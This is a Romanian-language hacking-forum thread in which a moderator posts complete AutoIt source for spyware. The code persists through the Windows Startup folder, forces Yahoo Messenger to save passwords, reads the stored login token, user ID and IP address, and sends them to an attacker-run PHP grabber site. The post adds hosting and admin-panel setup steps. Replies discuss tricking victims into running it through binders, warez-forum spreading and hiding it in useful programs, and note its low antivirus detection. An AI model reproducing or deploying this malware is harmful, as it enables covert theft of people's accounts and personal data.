Moderators Dragos Posted March 30, 2010 Moderators Report Share Posted March 30, 2010 (edited) Am vazut postul lui willboy si m-am gandit sa postez si eu metoda care o folosesc.Avem nevoie de 2 lucruri : AutoIT si un site ce accepta gazduire de fisiere PHP. Pentru al doilea, recomand Free Web Hosting Area.1. AutoITDeschidem AutoIT si scriem urmatorul cod #notrayicon#include <inet.au3>if not fileexists ("C:\Documents and Settings\" & @username & "\Start Menu\Programs\Startup\" & @scriptname) then filecopy (@scriptname, "C:\Documents and Settings\" & @username & "\Start Menu\Programs\Startup\" & @scriptname)endif$pagina = "http://siteultau.freetzi.com/grabber/index.php"$ip = _getip()$date = @HOUR & ":" & @MIN & ":" & @SECregwrite ("HKEY_CURRENT_USER\Software\Yahoo\Pager","Auto Login","REG_DWORD",1)regwrite ("HKEY_CURRENT_USER\Software\Yahoo\Pager","Save Password","REG_DWORD",1)$ets = regread ("HKEY_CURRENT_USER\Software\Yahoo\Pager","ETS")$id = regread ("HKEY_CURRENT_USER\Software\Yahoo\Pager","Yahoo! User ID")if $ets<>"" and $id<>"" Then $paginaint = $pagina & "?ets=" & $ets & "&user=" & $id & "&ip=" & $ip & "&date=" & $date _inetgetsource ($paginaint)endifAcest cod va pune virusul la startup si NU va crea un fisier cu datele din registri ci va trimite datele catre un site.2. Site-ulSa incepem cu site-ul. Creati un site gen siteultau.freetzi.com si puneti-l la scriptul AutoIT la variabila $pagina. Descarcati scriptul site-ului de aici si puneti-l pe host folosind protocolul FTP (programe recomandate : Filezilla sau Total Commander). Nu uitati sa puneti CHMOD 777 pe cookies.txtAcum, compilati spyware-ul dupa ce ati scris site-ul si trimiteti-l la victima. Daca va avea ETS-ul deja memorat in registri, datele se vor trimite instant catre site-ul vostru (PS : pentru a intra in panoul de administrare : siteultau.freetzi.com/admin.php ; datele initiale sunt admin:parola ; se pot modifica din fisierul data.php). Daca nu il va avea memorat, ETS-ul va fi trimis dupa ce va restarta calculatorul si isi va scrie numele si parola in messenger (majoritatea persoanelor nu observa casuta cu memorare ID & parola ca e bifata).Have fun! Edited March 30, 2010 by Dragos Quote Link to comment Share on other sites More sharing options...
sonyx Posted March 30, 2010 Report Share Posted March 30, 2010 pai il compilez .exe si cum il va deschide victima? Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted March 30, 2010 Author Moderators Report Share Posted March 30, 2010 pai il compilez .exe si cum il va deschide victima?il compilezi si il trimiti Quote Link to comment Share on other sites More sharing options...
sonyx Posted March 30, 2010 Report Share Posted March 30, 2010 si cine deschide un .exe in ziua de azi ?pana si fraierii de 12 ani stiu ca e virus Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted March 31, 2010 Author Moderators Report Share Posted March 31, 2010 si cine deschide un .exe in ziua de azi ?pana si fraierii de 12 ani stiu ca e virusMomentan nu este detectat decat de Panda ca si suspicious file. Quote Link to comment Share on other sites More sharing options...
strike Posted March 31, 2010 Report Share Posted March 31, 2010 @sonyxbzFolosesti un binder iar pentru spread forumurile de warez , hack etc Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted March 31, 2010 Author Moderators Report Share Posted March 31, 2010 (edited) cu dublu click. cine da dublu click.+1 paxSunt sute de programe utile pe forumul de la AutoIT. Se poate implementa scriptul in unul din ele.. Edited March 31, 2010 by Dragos Quote Link to comment Share on other sites More sharing options...
fenesan Posted June 9, 2011 Report Share Posted June 9, 2011 @Synthesis poti sa mai pui iar link de download ? Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted June 9, 2011 Author Moderators Report Share Posted June 9, 2011 Nu-l mai am in calc. In principal se prelua ETS-ul, userul si IP-ul prin GET si se stocau intr-un fisier .txt din acelasi director. 1 Quote Link to comment Share on other sites More sharing options...
